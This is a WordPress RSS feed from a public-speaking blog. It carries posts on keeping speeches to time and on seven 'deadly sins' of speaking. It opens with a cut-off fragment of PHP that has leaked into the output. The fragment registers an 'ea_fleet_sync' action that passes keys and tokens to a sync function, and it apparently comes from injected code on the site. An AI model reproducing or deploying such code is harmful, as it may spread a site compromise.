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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Time Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/time/ Public speaking Thu, 27 Feb 2020 15:59:27 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Good timing – 3 steps to speaking to time https://www.nowyouretalking.co.uk/2019/03/22/good-timing/ Fri, 22 Mar 2019 17:56:46 +0000 https://www.nowyouretalking.co.uk/?p=856 We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers,…

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]]> We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers, as well as demonstrating that you are well prepared.

Speeches can overrun for many reasons, including starting late, unexpected disruptions, eg fire alarms, last-minute tech failures, etc. While you can do all the sensible checks, ultimately, these reasons tend to sit beyond your control as the speaker.

In contrast, the most common reasons for overrunning lie squarely within the speaker’s control and usually reflect a neglect to rehearse and time a speech before going live or simply a bad case of ‘infobesity‘ or trying to cram in too much. It is, of course, hard to leave things out when it’s a subject you care about and are eager to share ‘everything you know’ with your audience.

However, less is more in terms of sticking to time and less is definitely more for the audience. So, here are three steps to timing it right for speeches that keep everyone happy, timewise at least.

Timing counts – minutes and words

First, you need to decide how long you will speak for. You will have received a time allocation from the ‘event’ organiser.  But you don’t want to fill every minute. As a guide, reduce your time allocation by 15-20%. If you have a 10-minute slot, then aim to produce a speech that lasts about eight minutes.

This flexibility is essential for your audience that hasn’t heard your material before. They need time to absorb and reflect on what you are saying, time for unanticipated explanations or questions, as well as time to laugh when you make humorous remarks. In addition, it allows you time to adjust your speaking pace and gestures to reinforce your words. If you finish early, you can always take questions or simply stop. How often do you hear people complain about a speech being too short?

Second, convert the planned length in minutes into the approximate number of words you will need to fill that time. I typically aim for 80-100 words per minute when speaking in public. With this in mind, I know that if I have a 10-minute slot, I need to write approximately 800-1,000 words.

Speaking rate is highly individual. English conversational speed is about 120-150 words per minute (wpm); presentations about 100-150 wpm. Some of the most-viewed TED Talks have speaking rates between 154 wpm (Brené Brown, The Power of Vulnerability) and 201 wpm (Tony Robbins, Why we do what we do). The faster you speak, the greater the need for easy-to-understand language, very clearly articulated.

Record and time yourself giving a speech or presentation and calculate the wpm, try out an app or website, such as WordCounter, or invite friends or colleagues to give you feedback on your pace. This input will give you a fairly reliable guide for subsequent speeches.

Time to write – crafting your content

Getting the timing right begins when you’re drafting your speech or presentation. You know how long you have to speak and roughly how many words you need. This gives you a good indication of the appropriate breadth and depth of your material.

Purpose & message

Next you need to determine the purpose and message of your speech. What is the single main point you want to make? I find it helpful to write this down, in large letters, and keep the page in view while you are compiling your content. You then work backwards to outline of the essential information required to support your message – stories, data, quotes, etc. Don’t worry about any material being wasted; it might simply belong in a different speech or article.

Scrutinise all your material and evidence against your message. Anything you try to add that does not directly support your message does not make the cut.

Structure

Now, consider the structure of your speech. What is the most efficient route from your opening remarks to your core message? What is the optimum number of sections and sub-sections? How many examples? The more layers you introduce, the harder it is for your audience to follow what you’re saying and for you to keep to time. And, as we know, three works well, so wherever practicable, aim for three key points, sections or examples.

Signpost

Signposting also helps you ensure your speech flows easily and affords clarity to your audience. What will the next few minutes or ‘chunk’ of your speech cover and, at the end of that chunk, a few words summarising its main point … all building towards your core message.

If you tend to write out your speech in full, this is when you may find it useful to convert your script into ‘chunks’, with a keyword to remind you what you want to say. Chunks give you greater flexibility than a script to shorten your speech in real time if you find yourself overrunning.

Rehearse your timing

The process of presenting often takes longer than you expect, so it’s important to practise. Run through your speech  with a stopwatch, speaking (not reading) aloud. Make it as realistic as possible, using any visual aids, building in gestures, pauses and changes of pace. This rehearsal time will also help you iron out any wrinkles in your speech, such as awkward words or phrases, over-complex sentences, non-sequiturs and so on.

If you are using slides, factor in time for your audience to read any words that they contain. People read in preference to listening  so allow them time to do this before you start talking. This is a good reason for keeping text on slides to a minimum.

The more you rehearse, the more fluent and comfortable your delivery will become as you internalise what you want to say and finesse your word choice.

We tend to be poor judges of time. On the day, ask someone to flag key timing milestones or use your phone stopwatch to keep you on track.

3 steps to good timing

Three steps to good timing – determine the word count, craft message-driven content and rehearse – will leave a positive impression and earn you the heartfelt appreciation of your audience and your host.

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]]> Deadly sin stumbles or spectacular speaking successes? https://www.nowyouretalking.co.uk/2018/10/05/deadly-sin-versus-spectacular-speaking/ Fri, 05 Oct 2018 20:16:01 +0000 https://www.nowyouretalking.co.uk/?p=660 Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins: Do you ever feel as if your nerves might get the better of you?…

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]]> Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins:

  • Do you ever feel as if your nerves might get the better of you?
  • Are you guilty of ‘infobesity’?
  • Do you tend to overrun your allotted time?
  • Are you someone who never has enough time to prepare?
  • Do you wish you could speak as well as someone else?
  • Do you find yourself apologising if you make a mistake
  • Is the spotlight all about you?

As a speaker, it is too easy to commit a deadly sin when talking to an audience. Prompted by the seven deadly sins, here’s my take on seven behaviours we should try to eradicate from our public speaking and presentations and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this deadly sin is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative anxiety that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your deadly sin of ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves

Infobesity – the deadly sin of Gluttony

deadly sin of gluttony - InfobesityGluttony or ‘infobesity’ tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.

Saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

Time theft – the deadly sin of Greed

Time theft_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to your allocated time.  Overrunning is a deadly sin. It’s disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with time to spare!

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve.

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare?

Failing to prepare_deadly sin of slothOur mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. Such excuses might be considered a deadly sin in their ow right! In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensuring your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, instances of the deadly sin of anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if there is an equipment malfunction.

What can you do to keep calm?

Losing control_Deadly sin of wrathRemember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you!

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s nothing you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the engaged members of your audience. The others will come back when they’re ready.

I wish I could speak like that – the deadly sin of Envy

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, Alex Polizzi, Barak Obama or Jeanette Winterson. This deadly sin can make us come across as unduly deferential, which can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

What can you do to be authentic?

First and foremost, be yourself. It is you, after all, that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

By banishing the seven deadly sins banished from your public speaking life, you can look forward to making clear, connected and memorable speeches, which will be enjoyed by both you and your audience … not a deadly sin in the room!

 

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]]> Time theft – Greed, the third deadly sin https://www.nowyouretalking.co.uk/2018/08/27/time-theft-third-deadly-sin/ Mon, 27 Aug 2018 07:00:46 +0000 https://www.nowyouretalking.co.uk/?p=634 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Time theft is the third deadly sin…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. Time theft is the third deadly sin in my series.

Time theft – the deadly sin of Greed

Time thief_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to the time allocated to you.  Overrunning is disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with room to spare!

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